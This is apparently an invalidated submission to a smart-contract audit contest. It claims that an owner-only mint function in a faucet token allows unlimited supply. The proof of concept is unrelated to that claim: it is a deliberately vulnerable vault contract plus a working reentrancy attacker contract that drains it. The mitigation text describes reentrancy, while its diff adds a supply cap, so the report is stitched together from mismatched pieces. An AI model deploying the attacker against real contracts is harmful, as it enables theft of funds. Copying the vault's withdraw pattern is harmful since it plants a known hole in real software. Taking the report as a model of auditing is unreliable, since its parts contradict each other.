Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: medium
Likelihood: high
Invalid

mintFaucetTokens() allows unlimited supply inflation

Root + Impact

Description

Expected behavior:
Minting should have a maximum cap or require governance approval.

Actual behavior:

Owner can mint unlimited tokens to the contract.

@> _mint(to, amount);

Risk

Likelihood:

High, due to unrestricted owner privileges.

Impact:

  • Tokenomics meaningless.

Faucet’s purpose for fair distribution defeated.

Proof of Concept

Owner calls mintFaucetTokens(address(this), 1_000_000_000_000 ether) to mint excessive tokens.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title VulnerableVault - demonstrates a reentrancy vulnerability
contract VulnerableVault {
mapping(address => uint256) public balances;
// deposit funds
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// vulnerable withdraw: sends funds before updating state
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
// Interaction: external call happens BEFORE state update -> vulnerability
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "Transfer failed");
// Effect: state updated AFTER external call
balances[msg.sender] -= amount;
}
// helper to check contract balance
function contractBalance() external view returns (uint256) {
return address(this).balance;
}
}
/// @title ReentrancyAttacker - exploits VulnerableVault
contract ReentrancyAttacker {
VulnerableVault public vault;
address public owner;
uint256 public attackAmount = 1 ether;
bool public attackActive;
constructor(address vaultAddress) {
vault = VulnerableVault(vaultAddress);
owner = msg.sender;
}
// deposit some ETH into the vault to set up an initial balance
function depositToVault() external payable {
require(msg.sender == owner, "only owner");
require(msg.value >= attackAmount, "send at least attackAmount");
vault.deposit{value: msg.value}();
}
// start the attack: call withdraw on the vault to trigger reentrancy
function attack() external {
require(msg.sender == owner, "only owner");
attackActive = true;
// initial withdraw triggers fallback -> reentrant calls happen
vault.withdraw(attackAmount);
attackActive = false;
}
// fallback receives the vault's transfer and re-enters withdraw while vault still thinks we have balance
receive() external payable {
// while attack is active, and the vault still has funds, re-enter
if (attackActive) {
// If vault still has enough balance and contract has non-zero balance,
// call withdraw again to drain more than initial deposit.
uint256 vaultBal = address(vault).balance;
if (vaultBal >= attackAmount) {
// Re-enter: call withdraw again before the vault updates balances
vault.withdraw(attackAmount);
}
}
}
// allow owner to drain stolen funds to HR address
function collect() external {
require(msg.sender == owner, "only owner");
payable(owner).transfer(address(this).balance);
}
// get attacker contract balance
function attackerBalance() external view returns (uint256) {
return address(this).balance;
}
}

Recommended Mitigation

the contract updates the attacker's balance before performing the external transfer. If an attacker re-enters withdraw during the external call, their balance has already been reduced and the reentrant call will fail the require check.

- _mint(to, amount);
+ require(totalSupply() + amount <= MAX_SUPPLY, "Exceeds cap");
+ _mint(to, amount);
Updates

Lead Judging Commences

inallhonesty Lead Judge 18 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.